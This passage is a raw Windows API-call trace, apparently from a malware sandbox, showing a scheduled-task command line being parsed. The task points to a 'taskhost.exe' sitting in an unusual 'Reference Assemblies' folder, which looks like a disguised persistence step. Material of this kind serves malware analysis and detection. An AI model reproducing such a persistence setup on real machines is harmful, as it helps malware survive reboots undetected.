Files\\Reference Assemblies\\taskhost.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\taskhost.exe'" [0143.576] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.576] _memicmp (_Buf1=0x3dc350, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.576] _memicmp (_Buf1=0x3dd500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.576] SetLastError (dwErrCode=0x7a) [0143.577] SetLastError (dwErrCode=0x0) [0143.577] SetLastError (dwErrCode=0x0) [0143.577] lstrlenW (lpString="'C") returned 2 [0143.577] lstrlenW (lpString="-/") returned 2 [0143.577] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0143.577] SetLastError (dwErrCode=0x490) [0143.577] SetLastError (dwErrCode=0x490) [0143.577] SetLastError (dwErrCode=0x0) [0143.577] _memicmp (_Buf1=0x3dd560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.577] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.577] GetProcessHeap () returned 0x3c0000 [0143.577] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd580) returned 1 [0143.577] GetProcessHeap () returned 0x3c0000 [0143.577] RtlReAllocateHeap (Heap=0x3c0000, Flags=0xc, Ptr=0x3dd580, Size=0x6a) returned 0x3dc290 [0143.577] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.577] lstrlenW (lpString=" \x09") returned 2 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0143.577] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0143.578] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0143.578] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.578] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.579] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0143.579] GetLastError () returned 0x0 [0143.579] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.579] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.579] SetLastError (dwErrCode=0x0) [0143.579] SetLastError (dwErrCode=0x0) [0143.579] lstrlenW (lpString="/rl") returned 3 [0143.579] lstrlenW (lpString="-/") returned 2 [0143.579] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.579] lstrlenW (lpString="create") returned 6 [0143.579] lstrlenW (lpString="create") returned 6 [0143.579] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.579] lstrlenW (lpString="rl") returned 2 [0143.579] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.579] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.579] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.579] lstrlenW (lpString="|create|") returned 8 [0143.580] lstrlenW (lpString="|rl|") returned 4 [0143.580] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0143.580] SetLastError (dwErrCode=0x490) [0143.580] lstrlenW (lpString="?") returned 1 [0143.580] lstrlenW (lpString="?") returned 1 [0143.580] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.580] lstrlenW (lpString="rl") returned 2 [0143.580] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.580] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|?|") returned 3 [0143.580] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.580] lstrlenW (lpString="|?|") returned 3 [0143.580] lstrlenW (lpString="|rl|") returned 4 [0143.580] SetLastError (dwErrCode=0x490) [0143.580] lstrlenW (lpString="s") returned 1 [0143.580] lstrlenW (lpString="s") returned 1 [0143.580] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.580] lstrlenW (lpString="rl") returned 2 [0143.580] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.580] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|s|") returned 3 [0143.580] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.580] lstrlenW (lpString="|s|") returned 3 [0143.580] lstrlenW (lpString="|rl|") returned 4 [0143.580] SetLastError (dwErrCode=0x490) [0143.580] lstrlenW (lpString="u") returned 1 [0143.580] lstrlenW (lpString="u") returned 1 [0143.580] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.581] lstrlenW (lpString="rl") returned 2 [0143.581] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.581] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|u|") returned 3 [0143.581] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.581] lstrlenW (lpString="|u|") returned 3 [0143.581] lstrlenW (lpString="|rl|") returned 4 [0143.581] SetLastError (dwErrCode=0x490) [0143.581] lstrlenW (lpString="p") returned 1 [0143.581] lstrlenW (lpString="p") returned 1 [0143.581] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.581] lstrlenW (lpString="rl") returned 2 [0143.581] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.581] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|p|") returned 3 [0143.581] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.581] lstrlenW (lpString="|p|") returned 3 [0143.581] lstrlenW (lpString="|rl|") returned 4 [0143.581] SetLastError (dwErrCode=0x490) [0143.581] lstrlenW (lpString="ru") returned 2 [0143.581] lstrlenW (lpString="ru") returned 2 [0143.581] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.581] lstrlenW (lpString="rl") returned 2 [0143.581] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.581] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ru|") returned 4 [0143.581] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.581] lstrlenW (lpString="|ru|") returned 4 [0143.581] lstrlenW (lpString="|rl|") returned 4 [0143.581] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0143.582] SetLastError (dwErrCode=0x490) [0143.582] lstrlenW (lpString="rp") returned 2 [0143.582] lstrlenW (lpString="rp") returned 2 [0143.582] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.582] lstrlenW (lpString="rl") returned 2 [0143.582] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.582] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rp|") returned 4 [0143.582] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.582] lstrlenW (lpString="|rp|") returned 4 [0143.582] lstrlenW (lpString="|rl|") returned 4 [0143.582] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0143.582] SetLastError (dwErrCode=0x490) [0143.582] lstrlenW (lpString="sc") returned 2 [0143.582] lstrlenW (lpString="sc") returned 2 [0143.582] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.582] lstrlenW (lpString="rl") returned 2 [0143.582] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.582] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.582] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.582] lstrlenW (lpString="|sc|") returned 4 [0143.582] lstrlenW (lpString="|rl|") returned 4 [0143.582] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0143.582] SetLastError (dwErrCode=0x490) [0143.582] lstrlenW (lpString="mo") returned 2 [0143.582] lstrlenW (lpString="mo") returned 2 [0143.582] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.583] lstrlenW (lpString="rl") returned 2 [0143.583] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.583] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.583] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.583] lstrlenW (lpString="|mo|") returned 4 [0143.583] lstrlenW (lpString="|rl|") returned 4 [0143.583] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0143.583] SetLastError (dwErrCode=0x490) [0143.583] lstrlenW (lpString="d") returned 1 [0143.583] lstrlenW (lpString="d") returned 1 [0143.583] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.583] lstrlenW (lpString="rl") returned 2 [0143.583] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.583] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|d|") returned 3 [0143.583] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.583] lstrlenW (lpString="|d|") returned 3 [0143.583] lstrlenW (lpString="|rl|") returned 4 [0143.583] SetLastError (dwErrCode=0x490) [0143.583] lstrlenW (lpString="m") returned 1 [0143.583] lstrlenW (lpString="m") returned 1 [0143.583] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.583] lstrlenW (lpString="rl") returned 2 [0143.583] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.583] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|m|") returned 3 [0143.583] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.583] lstrlenW (lpString="|m|") returned 3 [0143.583] lstrlenW (lpString="|rl|") returned 4 [0143.583] SetLastError (dwErrCode=0x490) [0143.584] lstrlenW (lpString="i") returned 1 [0143.584] lstrlenW (lpString="i") returned 1 [0143.584] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.584] lstrlenW (lpString="rl") returned 2 [0143.584] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.584] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|i|") returned 3 [0143.584] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.584] lstrlenW (lpString="|i|") returned 3 [0143.584] lstrlenW (lpString="|rl|") returned 4 [0143.584] SetLastError (dwErrCode=0x490) [0143.584] lstrlenW (lpString="tn") returned 2 [0143.584] lstrlenW (lpString="tn") returned 2 [0143.584] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.584] lstrlenW (lpString="rl") returned 2 [0143.584] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.584] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.584] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.584] lstrlenW (lpString="|tn|") returned 4 [0143.584] lstrlenW (lpString="|rl|") returned 4 [0143.584] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0143.584] SetLastError (dwErrCode=0x490) [0143.584] lstrlenW (lpString="tr") returned 2 [0143.584] lstrlenW (lpString="tr") returned 2 [0143.584] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.584] lstrlenW (lpString="rl") returned 2 [0143.584] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.584] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.585] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.585] lstrlenW (lpString="|tr|") returned 4 [0143.585] lstrlenW (lpString="|rl|") returned 4 [0143.585] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0143.585] SetLastError (dwErrCode=0x490) [0143.585] lstrlenW (lpString="st") returned 2 [0143.585] lstrlenW (lpString="st") returned 2 [0143.585] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.585] lstrlenW (lpString="rl") returned 2 [0143.585] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.585] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|st|") returned 4 [0143.585] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.585] lstrlenW (lpString="|st|") returned 4 [0143.585] lstrlenW (lpString="|rl|") returned 4 [0143.585] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0143.585] SetLastError (dwErrCode=0x490) [0143.585] lstrlenW (lpString="sd") returned 2 [0143.585] lstrlenW (lpString="sd") returned 2 [0143.585] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.585] lstrlenW (lpString="rl") returned 2 [0143.585] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.585] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sd|") returned 4 [0143.585] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.585] lstrlenW (lpString="|sd|") returned 4 [0143.585] lstrlenW (lpString="|rl|") returned 4 [0143.585] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0143.585] SetLastError (dwErrCode=0x490) [0143.585] lstrlenW (lpString="ed") returned 2 [0143.586] lstrlenW (lpString="ed") returned 2 [0143.586] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.586] lstrlenW (lpString="rl") returned 2 [0143.586] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.586] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ed|") returned 4 [0143.586] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.586] lstrlenW (lpString="|ed|") returned 4 [0143.586] lstrlenW (lpString="|rl|") returned 4 [0143.586] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0143.586] SetLastError (dwErrCode=0x490) [0143.586] lstrlenW (lpString="it") returned 2 [0143.586] lstrlenW (lpString="it") returned 2 [0143.586] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.586] lstrlenW (lpString="rl") returned 2 [0143.586] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.586] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|it|") returned 4 [0143.586] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.586] lstrlenW (lpString="|it|") returned 4 [0143.586] lstrlenW (lpString="|rl|") returned 4 [0143.586] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0143.586] SetLastError (dwErrCode=0x490) [0143.586] lstrlenW (lpString="et") returned 2 [0143.586] lstrlenW (lpString="et") returned 2 [0143.586] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.586] lstrlenW (lpString="rl") returned 2 [0143.586] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.586] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|et|") returned 4 [0143.587] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.587] lstrlenW (lpString="|et|") returned 4 [0143.587] lstrlenW (lpString="|rl|") returned 4 [0143.587] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0143.587] SetLastError (dwErrCode=0x490) [0143.587] lstrlenW (lpString="k") returned 1 [0143.587] lstrlenW (lpString="k") returned 1 [0143.587] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.587] lstrlenW (lpString="rl") returned 2 [0143.587] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.587] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|k|") returned 3 [0143.587] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.587] lstrlenW (lpString="|k|") returned 3 [0143.587] lstrlenW (lpString="|rl|") returned 4 [0143.587] SetLastError (dwErrCode=0x490) [0143.587] lstrlenW (lpString="du") returned 2 [0143.587] lstrlenW (lpString="du") returned 2 [0143.587] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.587] lstrlenW (lpString="rl") returned 2 [0143.587] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.587] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|du|") returned 4 [0143.587] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.587] lstrlenW (lpString="|du|") returned 4 [0143.587] lstrlenW (lpString="|rl|") returned 4 [0143.587] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0143.587] SetLastError (dwErrCode=0x490) [0143.587] lstrlenW (lpString="ri") returned 2 [0143.587] lstrlenW (lpString="ri") returned 2 [0143.588] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.588] lstrlenW (lpString="rl") returned 2 [0143.588] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.588] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ri|") returned 4 [0143.588] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.588] lstrlenW (lpString="|ri|") returned 4 [0143.588] lstrlenW (lpString="|rl|") returned 4 [0143.588] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0143.588] SetLastError (dwErrCode=0x490) [0143.588] lstrlenW (lpString="z") returned 1 [0143.588] lstrlenW (lpString="z") returned 1 [0143.588] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.588] lstrlenW (lpString="rl") returned 2 [0143.588] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.588] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|z|") returned 3 [0143.588] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.588] lstrlenW (lpString="|z|") returned 3 [0143.588] lstrlenW (lpString="|rl|") returned 4 [0143.588] SetLastError (dwErrCode=0x490) [0143.588] lstrlenW (lpString="f") returned 1 [0143.588] lstrlenW (lpString="f") returned 1 [0143.588] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.588] lstrlenW (lpString="rl") returned 2 [0143.588] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.588] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.589] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.589] lstrlenW (lpString="|f|") returned 3 [0143.589] lstrlenW (lpString="|rl|") returned 4 [0143.589] SetLastError (dwErrCode=0x490) [0143.589] lstrlenW (lpString="v1") returned 2 [0143.589] lstrlenW (lpString="v1") returned 2 [0143.589] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.589] lstrlenW (lpString="rl") returned 2 [0143.589] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.589] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|v1|") returned 4 [0143.589] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.589] lstrlenW (lpString="|v1|") returned 4 [0143.589] lstrlenW (lpString="|rl|") returned 4 [0143.589] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0143.589] SetLastError (dwErrCode=0x490) [0143.589] lstrlenW (lpString="xml") returned 3 [0143.589] lstrlenW (lpString="xml") returned 3 [0143.589] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.589] lstrlenW (lpString="rl") returned 2 [0143.589] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.589] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|xml|") returned 5 [0143.589] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.589] lstrlenW (lpString="|xml|") returned 5 [0143.589] lstrlenW (lpString="|rl|") returned 4 [0143.589] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0143.589] SetLastError (dwErrCode=0x490) [0143.589] lstrlenW (lpString="ec") returned 2 [0143.590] lstrlenW (lpString="ec") returned 2 [0143.590] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.590] lstrlenW (lpString="rl") returned 2 [0143.590] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.590] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ec|") returned 4 [0143.590] _vsnwprintf (in: 